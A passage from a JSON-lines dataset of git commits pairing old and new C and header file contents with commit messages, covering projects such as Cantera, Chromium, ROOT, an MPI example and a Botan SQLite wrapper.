DataStore\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"75338467e66fd3c862a0a48363c3f4681f30180a","old_file":"OCDSpec\/OCDSpecDescriptionRunner.h","new_file":"OCDSpec\/OCDSpecDescriptionRunner.h","old_contents":"#import <Foundation\/Foundation.h>\n#import \"OCDSpec\/Protocols\/DescriptionRunner.h\"\n#import \"OCDSpec\/OCDSpecDescription.h\"\n#import \"OCDSpec\/OCDSpecSharedResults.h\"\n#import \"OCDSpec\/AbstractDescriptionRunner.h\"\n\n@interface OCDSpecDescriptionRunner : NSObject \n{\n  Class         *classes;\n  int           classCount;\n  id            specProtocol;\n  id            baseClass;\n  int           successes;\n  int           failures;\n}\n\n@property(nonatomic, assign) id specProtocol;\n@property(nonatomic, assign) id baseClass;\n@property(readonly) int successes;\n@property(readonly) int failures;\n\n-(void) runAllDescriptions;\n@end\n\n#define CONTEXT(classname) \\\nvoid descriptionOf##classname();\\\n@interface TestRunner##classname : AbstractDescriptionRunner \\\n@end\\\n@implementation TestRunner##classname\\\n+(int) getFailures \\\n{ \\\n  return [[OCDSpecSharedResults sharedResults].failures intValue];\\\n} \\\n+(int)getSuccesses \\\n{ \\\n  return [[OCDSpecSharedResults sharedResults].successes intValue];\\\n} \\\n+(void) run \\\n{ \\\n  descriptionOf##classname(); \\\n} \\\n@end \\\nvoid descriptionOf##classname()\n","new_contents":"#import <Foundation\/Foundation.h>\n#import \"OCDSpec\/Protocols\/DescriptionRunner.h\"\n#import \"OCDSpec\/OCDSpecDescription.h\"\n#import \"OCDSpec\/OCDSpecSharedResults.h\"\n#import \"OCDSpec\/Abstract\/AbstractDescriptionRunner.h\"\n\n@interface OCDSpecDescriptionRunner : NSObject \n{\n  Class         *classes;\n  int           classCount;\n  id            specProtocol;\n  id            baseClass;\n  int           successes;\n  int           failures;\n}\n\n@property(nonatomic, assign) id specProtocol;\n@property(nonatomic, assign) id baseClass;\n@property(readonly) int successes;\n@property(readonly) int failures;\n\n-(void) runAllDescriptions;\n@end\n\n#define CONTEXT(classname) \\\nvoid descriptionOf##classname();\\\n@interface TestRunner##classname : AbstractDescriptionRunner \\\n@end\\\n@implementation TestRunner##classname\\\n+(int) getFailures \\\n{ \\\n  return [[OCDSpecSharedResults sharedResults].failures intValue];\\\n} \\\n+(int)getSuccesses \\\n{ \\\n  return [[OCDSpecSharedResults sharedResults].successes intValue];\\\n} \\\n+(void) run \\\n{ \\\n  descriptionOf##classname(); \\\n} \\\n@end \\\nvoid descriptionOf##classname()\n","subject":"Correct the project for the move","message":"Correct the project for the move\n","lang":"C","license":"mit","repos":"paytonrules\/OCDSpec,paytonrules\/OCDSpec"}
{"commit":"0da6fb4d36a340b36f6153c66bcd432982abf1dd","old_file":"src\/python\/pylogger.h","new_file":"src\/python\/pylogger.h","old_contents":"#ifndef PYLOGGER_H\n#define PYLOGGER_H\n\n#include \"Python.h\"\n#include <string>\n#include \"cantera\/base\/logger.h\"\n\nnamespace Cantera\n{\n\n\/\/\/ Logger for Python.\n\/\/\/ @ingroup textlogs\nclass Py_Logger : public Logger\n{\npublic:\n    Py_Logger() {\n        PyRun_SimpleString(\"import sys\");\n    }\n    virtual ~Py_Logger() {}\n\n    virtual void write(const std::string& s) {\n        std::string ss = \"sys.stdout.write(\\\"\\\"\\\"\";\n        ss += s;\n        ss += \"\\\"\\\"\\\")\";\n        PyRun_SimpleString(ss.c_str());\n        PyRun_SimpleString(\"sys.stdout.flush()\");\n    }\n\n    virtual void error(const std::string& msg) {\n        std::string err = \"raise \\\"\"+msg+\"\\\"\";\n        PyRun_SimpleString((char*)err.c_str());\n    }\n};\n}\n\n#endif\n","new_contents":"#ifndef PYLOGGER_H\n#define PYLOGGER_H\n\n#include \"Python.h\"\n#include <string>\n#include \"cantera\/base\/logger.h\"\n\nnamespace Cantera\n{\n\n\/\/\/ Logger for Python.\n\/\/\/ @ingroup textlogs\nclass Py_Logger : public Logger\n{\npublic:\n    Py_Logger() {\n        PyRun_SimpleString(\"import sys\");\n    }\n    virtual ~Py_Logger() {}\n\n    virtual void write(const std::string& s) {\n        std::string ss = \"sys.stdout.write(\\\"\\\"\\\"\";\n        ss += s;\n        ss += \"\\\"\\\"\\\")\";\n        PyRun_SimpleString(ss.c_str());\n        PyRun_SimpleString(\"sys.stdout.flush()\");\n    }\n\n    virtual void error(const std::string& msg) {\n        std::string err = \"raise Exception(\\\"\\\"\\\"\"+msg+\"\\\"\\\"\\\")\";\n        PyRun_SimpleString(err.c_str());\n    }\n};\n}\n\n#endif\n","subject":"Fix Py_Logger to raise instances of Exception instead of strings","message":"Fix Py_Logger to raise instances of Exception instead of strings\n\nRaising string exceptions was removed in Python 2.6\n\n","lang":"C","license":"bsd-3-clause","repos":"imitrichev\/cantera,Heathckliff\/cantera,Heathckliff\/cantera,imitrichev\/cantera,imitrichev\/cantera,imitrichev\/cantera,imitrichev\/cantera,Heathckliff\/cantera,imitrichev\/cantera,Heathckliff\/cantera,Heathckliff\/cantera,Heathckliff\/cantera"}
{"commit":"54ec1c1815f4ca6306eceac7b3297aa970962ec0","old_file":"src\/enums.h","new_file":"src\/enums.h","old_contents":"#ifndef ENUMS_H\n#define ENUMS_H\n\n#include <QtCore>\n\nenum MidiDataRole {\n    MidiValueType = Qt::UserRole + 1,\n    MidiValueMin,\n    MidiValueMax\n};\n\nenum MidiType {\n    DefaultType,\n    NoteType,\n    ToggleType,\n    StringType,\n    ChannelType\n};\n\n#endif\n","new_contents":"#ifndef ENUMS_H\n#define ENUMS_H\n\n#include <QtCore>\n\nenum MidiDataRole {\n    MidiValueType = Qt::UserRole + 1,\n    MidiValueMin,\n    MidiValueMax,\n    MidiValues\n};\n\nenum MidiType {\n    DefaultType,\n    NoteType,\n    ToggleType,\n    StringType,\n    ChannelType\n};\n\n#endif\n","subject":"Add custom data role MidiValues","message":"Add custom data role MidiValues\n","lang":"C","license":"mit","repos":"charlesfleche\/lpd8-editor,charlesfleche\/lpd8-editor"}
{"commit":"51fe30c43891d1d903a5408e95000ab0d499e25f","old_file":"debug-spx.h","new_file":"debug-spx.h","old_contents":"","new_contents":"\/*\n * Header\n\n\tWicci Project C Code Header\n\tUtility Code for Spx Debugging and Initialization Management\n\n ** Copyright\n\n\tCopyright (c) 2005-2019 J. Greg Davidson.\n\tYou may use this software under the terms of the\n\tGNU AFFERO GENERAL PUBLIC LICENSE\n\tas specified in the file LICENSE.md included with this distribution.\n\tAll other use requires my permission in writing.\n\n * Dependencies:\n\tPostgreSQL unless you define macro C_DEBUG_NO_PG\n *\/\n\n#ifndef C_DEBUG_SPX_H\n#define C_DEBUG_SPX_H\n\n#include \"debug-log.h\"\n\n\/* Define MODULE_TAG if you want a module-specific instance\n\t of this debugging code.\n*\/\n\n#ifndef MODULE_TAG\n#define MODULE_TAG(x) x\n#endif\n\nint MODULE_TAG(Initialized_) = 0;\t\/*\n\tused by  those packages which care;\n\tsee below for the functions on this variable\n*\/\n\nFUNCTION_DEFINE(MODULE_TAG(debug_level)) {\t\/\/ ()  -> integer\n\tPG_RETURN_INT32( DebugLevel() );\n}\n\nFUNCTION_DEFINE(MODULE_TAG(debug_set)) {\t\/\/ (integer) -> integer\n\tPG_RETURN_INT32( DebugSetLevel( PG_GETARG_INT32(0) ) );\n}\n\nFUNCTION_DEFINE(MODULE_TAG(debug)) {\t\t\/\/ () -> boolean\n\tPG_RETURN_BOOL( DebugLevel() > 0 );\n}\n\nFUNCTION_DEFINE(MODULE_TAG(debug_on)) {\t\t\/\/ () -> integer\n\tPG_RETURN_INT32( DebugSetOn( ) );\n}\n\nFUNCTION_DEFINE(MODULE_TAG(debug_off)) {\t\/\/ () -> integer\n\tPG_RETURN_INT32( DebugSetOff( ) );\n}\n\nstatic inline int\nInitialized(void) {\t\t\/\/ is this package intialized? \n\treturn MODULE_TAG(Initialized_);\n}\n\nstatic inline void\nInitialize(void) {\t\t\/\/ record this package is initialized \n\tMODULE_TAG(Initialized_) = 1;\n\tDEBUG_OUT( \"Module Initialized\" );\n}\n\n#endif\n","subject":"Split off from debug.h because of debug-log.h cross dependencies","message":"Split off from debug.h because of debug-log.h cross dependencies\n","lang":"C","license":"agpl-3.0","repos":"GregDavidson\/wicci-core-S1_refs,GregDavidson\/wicci-core-S1_refs"}
{"commit":"b6a04637c81e41c348e985c78f3e9f3009a19826","old_file":"hello_mpi.c","new_file":"hello_mpi.c","old_contents":"#include <stdio.h>\n#include <mpi.h>\n#include \"hello_mpi.h\"\n\n\nint hello_mpi(void) {\n    int numprocs, rank, namelen;\n    char processor_name[MPI_MAX_PROCESSOR_NAME];\n\n    MPI_Init(NULL, NULL);\n    MPI_Comm_size(MPI_COMM_WORLD, &numprocs);\n    MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n    MPI_Get_processor_name(processor_name, &namelen);\n\n\/\/    printf(\"Process %d on %s out of %d\\n\", rank, processor_name, numprocs);\n    if (rank == 0) {\n        printf(\"I'm master\\n\");\n        int slaves_rank = -1;\n        int i;\n        struct MPI_Status status;\n        for (i = 1; i < numprocs; i++) {\n            MPI_Recv(&slaves_rank, 1, MPI_INT, i,10111, MPI_COMM_WORLD, &status);\n            printf(\"Master got reply from %d and status is: %d\\n\", slaves_rank,\n                status.MPI_ERROR);\n        }\n    }\n    else {\n        printf(\"Only a slave\\n\");\n        MPI_Send((void*)&rank, 1, MPI_INT, 0, 10111, MPI_COMM_WORLD);\n    }\n\n    MPI_Finalize();\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <mpi.h>\n#include <unistd.h>\n#include \"hello_mpi.h\"\n\n\nint hello_mpi(void) {\n    int numprocs, rank, namelen;\n    char processor_name[MPI_MAX_PROCESSOR_NAME];\n\n    MPI_Init(NULL, NULL);\n    MPI_Comm_size(MPI_COMM_WORLD, &numprocs);\n    MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n    MPI_Get_processor_name(processor_name, &namelen);\n\n\/\/    printf(\"Process %d on %s out of %d\\n\", rank, processor_name, numprocs);\n    if (rank == 0) {\n        printf(\"I'm master\\n\");\n        int slaves_rank = -1;\n        int i;\n        MPI_Status status;\n        MPI_Request request;\n        for (i = 1; i < numprocs; i++) {\n            MPI_Irecv(&slaves_rank, 1, MPI_INT, i, 10111, MPI_COMM_WORLD, &request);\n            MPI_Wait(&request, &status);\n            printf(\"Master got reply from %d and request is: %d\\n\", slaves_rank,\n                request);\n        }\n    }\n    else {\n        MPI_Request request;\n        MPI_Isend((void*)&rank, 1, MPI_INT, 0, 10111, MPI_COMM_WORLD, &request);\n        printf(\"Only a slave - with request %d\\n\", request);\n    }\n\n    MPI_Finalize();\n    return 0;\n}\n","subject":"Convert from MPI_Send\/Recv, to MPI_ISend\/IRecv","message":"Convert from MPI_Send\/Recv, to MPI_ISend\/IRecv\n","lang":"C","license":"mit","repos":"Convolution-filter\/convolution-filter-MPI"}
{"commit":"fe85b79dbc358dc3ecddf77f33621798541f358f","old_file":"src\/forces\/label_state.h","new_file":"src\/forces\/label_state.h","old_contents":"#ifndef SRC_FORCES_LABEL_STATE_H_\n\n#define SRC_FORCES_LABEL_STATE_H_\n\n#include <Eigen\/Core>\n#include <string>\n#include <map>\n\nnamespace Forces\n{\n\nclass Force;\n\/**\n * \\brief Encapsulates state for a label necessary for the simulation\n *\n * This consists of label and anchor positions in 2D and 3D, as well as\n * the label's size, text and its id.\n *\n * It also stores the last force values for debugging purposes.\n *\/\nclass LabelState\n{\n public:\n  EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n\n  LabelState(int id, std::string text, Eigen::Vector3f anchorPosition,\n             Eigen::Vector2f size);\n\n  const int id;\n  Eigen::Vector3f anchorPosition;\n  Eigen::Vector3f labelPosition;\n  Eigen::Vector2f size;\n\n  Eigen::Vector2f anchorPosition2D;\n  Eigen::Vector2f labelPosition2D;\n  float labelPositionDepth;\n\n  const std::string text;\n\n  std::map<Force *, Eigen::Vector2f> forces;\n};\n}  \/\/ namespace Forces\n\n#endif  \/\/ SRC_FORCES_LABEL_STATE_H_\n","new_contents":"#ifndef SRC_FORCES_LABEL_STATE_H_\n\n#define SRC_FORCES_LABEL_STATE_H_\n\n#include <Eigen\/Core>\n#include <string>\n#include <map>\n\nnamespace Forces\n{\n\nclass Force;\n\/**\n * \\brief Encapsulates state for a label necessary for the simulation\n *\n * This consists of label and anchor positions in 2D and 3D, as well as\n * the label's size, text and its id.\n *\n * It also stores the last force values for debugging purposes.\n *\/\nclass LabelState\n{\n public:\n  EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n\n  LabelState(int id, std::string text, Eigen::Vector3f anchorPosition,\n             Eigen::Vector2f size);\n\n  int id;\n  Eigen::Vector3f anchorPosition;\n  Eigen::Vector3f labelPosition;\n  Eigen::Vector2f size;\n\n  Eigen::Vector2f anchorPosition2D;\n  Eigen::Vector2f labelPosition2D;\n  float labelPositionDepth;\n\n  std::string text;\n\n  std::map<Force *, Eigen::Vector2f> forces;\n};\n}  \/\/ namespace Forces\n\n#endif  \/\/ SRC_FORCES_LABEL_STATE_H_\n","subject":"Remove const modifier from LabelState members.","message":"Remove const modifier from LabelState members.\n\nThis enables move and move assignment, which is necessary for\ncontainers.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"68bc833ceda612ee8fb5e673d08c8de41cff4c90","old_file":"src\/ufrn_bti_imd0012_2017_1_t3\/matrix_fun.c","new_file":"src\/ufrn_bti_imd0012_2017_1_t3\/matrix_fun.c","old_contents":"","new_contents":"\/**\nHaving fun with multidimensinal arrays.\n*\/\n\n#include <stdio.h>\n\n\n\/**\nTODO: Dada uma matriz inteira Maxb, imprima o número de linhas e colunas \nnulas (apenas com valores zerados, matematicamente falando)\nda matriz.\n*\/\n\n#define ROWS_QTT 4\n#define COLS_QTT 5\n\nint main(){\n\n\t\/*\n\tDada uma matriz Amxm, imprima quantas vezes se repete cada valor.\n\tShould be a function like writeRepeatedValuesQtts(args).\n\t*\/\n\tint matrix[ROWS_QTT][COLS_QTT] = {\n\t\t{2, 3, 18, 9, 8},\n\t\t{1, 15, 2, 9, 6},\n\t\t{3, 5, 100, 99, 77},\n\t\t{12, 10, 3, 7, 18}\n\t};\n\n\tint i, j, k;\n\tchar hasFoundRepeteadValue; \/* it's a flag! *\/\n\n\tint repetitions[ROWS_QTT * COLS_QTT][2]; \/* r[0]: repeated number, r[1]: its repeated times *\/\n\tint repetitionsSize = 0; \/* if C doesnt have dinamic sizes, I'll create my own *\/\n\n\tfor (i = 0; i < ROWS_QTT; i++){\n\t\tfor (j = 0; j < COLS_QTT; j++){\n\n\t\t\thasFoundRepeteadValue = 0;\n\n\n\t\t\t\/* has this value been stored previously?... *\/\n\t\t\tfor (k = 0; k < repetitionsSize; k++){\n\t\t\t\tif (repetitions[k][0] == matrix[i][j]){\n\t\t\t\t\t\/* ... yes! raise our flag and increase the repeated times quantity for this founded number *\/\n\t\t\t\t\thasFoundRepeteadValue = 1;\n\t\t\t\t\trepetitions[k][1]++;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (!hasFoundRepeteadValue){\n\t\t\t\t\/* ... no! so it's a new value, store it at a new position and increase the position quantity *\/ \n\t\t\t\trepetitions[repetitionsSize][0] = matrix[i][j];\n\t\t\t\trepetitions[repetitionsSize][1] = 1;\n\t\t\t\trepetitionsSize++;\n\t\t\t}\n\n\t\t}\n\n\t}\n\n\tfor(i = 0; i < repetitionsSize; i++){\n\t\tif (repetitions[i][1] > 1)\n\t\t\tprintf(\"%d se repetiu %d vezes.\\n\", repetitions[i][0], repetitions[i][1]);\n\t}\n\n    return 0;\n\n}","subject":"Add alg to find repetead values in a matrix","message":"Add alg to find repetead values in a matrix\n","lang":"C","license":"unknown","repos":"Mazuh\/MISC-Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/MISC-Algs"}
{"commit":"8532fe7dbbe4425a76bdd945a342714624f8673c","old_file":"webkit\/glue\/webkit_constants.h","new_file":"webkit\/glue\/webkit_constants.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 1.0;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 0.004;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","subject":"Revert 75430 because it's causing failures in dom_checker_tests. : Increase the minimum interval for timers on background tabs to reduce their CPU consumption.","message":"Revert 75430 because it's causing failures in dom_checker_tests.\n: Increase the minimum interval for timers on background tabs to reduce\ntheir CPU consumption.\n\nThe new interval is 1000 ms, or once per second. We can easily adjust\nthis value up or down, but this seems like a reasonable value to judge\nthe compatibility impact of this change.\n\nBUG=66078\nTEST=none (tested manually with minimal test case)\n\nReview URL: http:\/\/codereview.chromium.org\/6546021\n\nTBR=kbr@google.com\nReview URL: http:\/\/codereview.chromium.org\/6538073\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@75490 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: dbdcd34d8dfea30fcfcbb176db89e2a14f88eabc","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"784e657183e783a2db4c42e18d1e2224e408b052","old_file":"src\/botansqlite3\/botansqlite3.c","new_file":"src\/botansqlite3\/botansqlite3.c","old_contents":"\/*\n * (C) 2016 Daniel Seither (Kullo GmbH)\n *\n * Distributed under the terms of the Botan license\n *\/\n\n#define SQLITE_HAS_CODEC 1\n\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wcast-align\"\n#pragma clang diagnostic ignored \"-Wcast-qual\"\n#pragma clang diagnostic ignored \"-Wconversion\"\n#pragma clang diagnostic ignored \"-Wdisabled-macro-expansion\"\n#pragma clang diagnostic ignored \"-Wdouble-promotion\"\n#pragma clang diagnostic ignored \"-Wfloat-equal\"\n#pragma clang diagnostic ignored \"-Wmissing-noreturn\"\n#pragma clang diagnostic ignored \"-Wmissing-prototypes\"\n#pragma clang diagnostic ignored \"-Wmissing-variable-declarations\"\n#pragma clang diagnostic ignored \"-Wparentheses-equality\"\n#pragma clang diagnostic ignored \"-Wreserved-id-macro\"\n#pragma clang diagnostic ignored \"-Wsign-compare\"\n#pragma clang diagnostic ignored \"-Wsign-conversion\"\n#pragma clang diagnostic ignored \"-Wundef\"\n#pragma clang diagnostic ignored \"-Wunreachable-code\"\n#pragma clang diagnostic ignored \"-Wunreachable-code-break\"\n#pragma clang diagnostic ignored \"-Wunused-macros\"\n#pragma clang diagnostic ignored \"-Wunused-function\"\n#pragma clang diagnostic ignored \"-Wunused-value\"\n#include \"..\/sqlite3.c\"\n#pragma clang diagnostic pop\n\n#include \"codecext.c\"\n\n","new_contents":"\/*\n * (C) 2016 Daniel Seither (Kullo GmbH)\n *\n * Distributed under the terms of the Botan license\n *\/\n\n#define SQLITE_HAS_CODEC 1\n\n#if defined __clang__\n    #pragma clang diagnostic push\n    #pragma clang diagnostic ignored \"-Wcast-align\"\n    #pragma clang diagnostic ignored \"-Wcast-qual\"\n    #pragma clang diagnostic ignored \"-Wconversion\"\n    #pragma clang diagnostic ignored \"-Wdisabled-macro-expansion\"\n    #pragma clang diagnostic ignored \"-Wdouble-promotion\"\n    #pragma clang diagnostic ignored \"-Wfloat-equal\"\n    #pragma clang diagnostic ignored \"-Wmissing-noreturn\"\n    #pragma clang diagnostic ignored \"-Wmissing-prototypes\"\n    #pragma clang diagnostic ignored \"-Wmissing-variable-declarations\"\n    #pragma clang diagnostic ignored \"-Wparentheses-equality\"\n    #pragma clang diagnostic ignored \"-Wreserved-id-macro\"\n    #pragma clang diagnostic ignored \"-Wsign-compare\"\n    #pragma clang diagnostic ignored \"-Wsign-conversion\"\n    #pragma clang diagnostic ignored \"-Wundef\"\n    #pragma clang diagnostic ignored \"-Wunreachable-code\"\n    #pragma clang diagnostic ignored \"-Wunreachable-code-break\"\n    #pragma clang diagnostic ignored \"-Wunused-macros\"\n    #pragma clang diagnostic ignored \"-Wunused-function\"\n    #pragma clang diagnostic ignored \"-Wunused-value\"\n#endif\n\n#include \"..\/sqlite3.c\"\n\n#if defined __clang__\n    #pragma clang diagnostic pop\n#endif\n\n#include \"codecext.c\"\n\n","subject":"Fix unknown pragma warnings on MSVC","message":"Fix unknown pragma warnings on MSVC\n","lang":"C","license":"bsd-3-clause","repos":"kullo\/smartsqlite,kullo\/smartsqlite,kullo\/smartsqlite"}
{"commit":"c62a4efe9492d867e281c2c680e0b8c185d9669b","old_file":"eg\/inc\/LinkDef.h","new_file":"eg\/inc\/LinkDef.h","old_contents":"\/* @(#)root\/eg:$Name:  $:$Id: LinkDef.h,v 1.2 2000\/09\/06 15:15:18 brun Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class TParticle-;\n#pragma link C++ class TAttParticle;\n#pragma link C++ class TPrimary;\n#pragma link C++ class TGenerator-;\n#pragma link C++ class TDatabasePDG+;\n#pragma link C++ class TParticlePDG+;\n\n#endif\n","new_contents":"\/* @(#)root\/eg:$Name:  $:$Id: LinkDef.h,v 1.3 2000\/09\/08 16:42:12 brun Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class TParticle-;\n#pragma link C++ class TAttParticle+;\n#pragma link C++ class TPrimary+;\n#pragma link C++ class TGenerator+;\n#pragma link C++ class TDatabasePDG+;\n#pragma link C++ class TParticlePDG+;\n\n#endif\n","subject":"Use option + for TAttParticle and TPrimary","message":"Use option + for TAttParticle and TPrimary\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@932 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"nilqed\/root,agarciamontoro\/root,jrtomps\/root,vukasinmilosevic\/root,abhinavmoudgil95\/root,zzxuanyuan\/root,buuck\/root,perovic\/root,Dr15Jones\/root,sawenzel\/root,olifre\/root,ffurano\/root5,sawenzel\/root,0x0all\/ROOT,simonpf\/root,agarciamontoro\/root,sbinet\/cxx-root,esakellari\/root,omazapa\/root,tc3t\/qoot,mhuwiler\/rootauto,ffurano\/root5,georgtroska\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,omazapa\/root-old,krafczyk\/root,sawenzel\/root,veprbl\/root,mattkretz\/root,esakellari\/root,bbockelm\/root,bbockelm\/root,ffurano\/root5,zzxuanyuan\/root-compressor-dummy,vukasinmilosevic\/root,strykejern\/TTreeReader,gbitzes\/root,buuck\/root,satyarth934\/root,georgtroska\/root,zzxuanyuan\/root,perovic\/root,satyarth934\/root,jrtomps\/root,evgeny-boger\/root,mkret2\/root,mattkretz\/root,zzxuanyuan\/root-compressor-dummy,bbockelm\/root,olifre\/root,karies\/root,evgeny-boger\/root,Y--\/root,omazapa\/root-old,arch1tect0r\/root,mattkretz\/root,olifre\/root,bbockelm\/root,sbinet\/cxx-root,zzxuanyuan\/root-compressor-dummy,mhuwiler\/rootauto,davidlt\/root,kirbyherm\/root-r-tools,gbitzes\/root,esakellari\/root,dfunke\/root,Duraznos\/root,abhinavmoudgil95\/root,thomaskeck\/root,gganis\/root,mattkretz\/root,bbockelm\/root,esakellari\/my_root_for_test,simonpf\/root,olifre\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,tc3t\/qoot,evgeny-boger\/root,evgeny-boger\/root,bbockelm\/root,karies\/root,veprbl\/root,perovic\/root,veprbl\/root,bbockelm\/root,beniz\/root,beniz\/root,dfunke\/root,mkret2\/root,zzxuanyuan\/root,mkret2\/root,beniz\/root,karies\/root,kirbyherm\/root-r-tools,root-mirror\/root,buuck\/root,esakellari\/my_root_for_test,nilqed\/root,georgtroska\/root,gganis\/root,Duraznos\/root,davidlt\/root,simonpf\/root,nilqed\/root,dfunke\/root,mhuwiler\/rootauto,dfunke\/root,mattkretz\/root,Dr15Jones\/root,vukasinmilosevic\/root,gbitzes\/root,bbockelm\/root,esakellari\/my_root_for_test,sirinath\/root,omazapa\/root,mkret2\/root,perovic\/root,esakellari\/my_root_for_test,jrtomps\/root,pspe\/root,omazapa\/root-old,gganis\/root,zzxuanyuan\/root-compressor-dummy,mkret2\/root,veprbl\/root,simonpf\/root,dfunke\/root,davidlt\/root,thomaskeck\/root,Y--\/root,esakellari\/my_root_for_test,tc3t\/qoot,thomaskeck\/root,lgiommi\/root,BerserkerTroll\/root,smarinac\/root,Y--\/root,CristinaCristescu\/root,sbinet\/cxx-root,omazapa\/root,mkret2\/root,esakellari\/my_root_for_test,evgeny-boger\/root,mhuwiler\/rootauto,satyarth934\/root,pspe\/root,abhinavmoudgil95\/root,simonpf\/root,alexschlueter\/cern-root,Y--\/root,omazapa\/root-old,georgtroska\/root,satyarth934\/root,alexschlueter\/cern-root,CristinaCristescu\/root,krafczyk\/root,omazapa\/root,sirinath\/root,sawenzel\/root,davidlt\/root,abhinavmoudgil95\/root,omazapa\/root-old,omazapa\/root,vukasinmilosevic\/root,CristinaCristescu\/root,simonpf\/root,cxx-hep\/root-cern,Dr15Jones\/root,jrtomps\/root,gbitzes\/root,smarinac\/root,agarciamontoro\/root,root-mirror\/root,Dr15Jones\/root,cxx-hep\/root-cern,lgiommi\/root,thomaskeck\/root,vukasinmilosevic\/root,sirinath\/root,mattkretz\/root,vukasinmilosevic\/root,nilqed\/root,nilqed\/root,mhuwiler\/rootauto,veprbl\/root,beniz\/root,CristinaCristescu\/root,beniz\/root,arch1tect0r\/root,simonpf\/root,olifre\/root,buuck\/root,agarciamontoro\/root,omazapa\/root-old,zzxuanyuan\/root-compressor-dummy,krafczyk\/root,0x0all\/ROOT,krafczyk\/root,sawenzel\/root,smarinac\/root,jrtomps\/root,jrtomps\/root,arch1tect0r\/root,mhuwiler\/rootauto,veprbl\/root,davidlt\/root,arch1tect0r\/root,olifre\/root,karies\/root,zzxuanyuan\/root,mattkretz\/root,0x0all\/ROOT,Duraznos\/root,mkret2\/root,omazapa\/root-old,alexschlueter\/cern-root,perovic\/root,gbitzes\/root,lgiommi\/root,gbitzes\/root,krafczyk\/root,perovic\/root,BerserkerTroll\/root,satyarth934\/root,arch1tect0r\/root,root-mirror\/root,gganis\/root,sirinath\/root,root-mirror\/root,vukasinmilosevic\/root,zzxuanyuan\/root-compressor-dummy,evgeny-boger\/root,davidlt\/root,pspe\/root,BerserkerTroll\/root,Y--\/root,vukasinmilosevic\/root,veprbl\/root,cxx-hep\/root-cern,abhinavmoudgil95\/root,beniz\/root,tc3t\/qoot,dfunke\/root,zzxuanyuan\/root,omazapa\/root-old,omazapa\/root-old,abhinavmoudgil95\/root,nilqed\/root,Duraznos\/root,mkret2\/root,BerserkerTroll\/root,krafczyk\/root,Duraznos\/root,esakellari\/my_root_for_test,mkret2\/root,strykejern\/TTreeReader,evgeny-boger\/root,lgiommi\/root,root-mirror\/root,arch1tect0r\/root,mattkretz\/root,gganis\/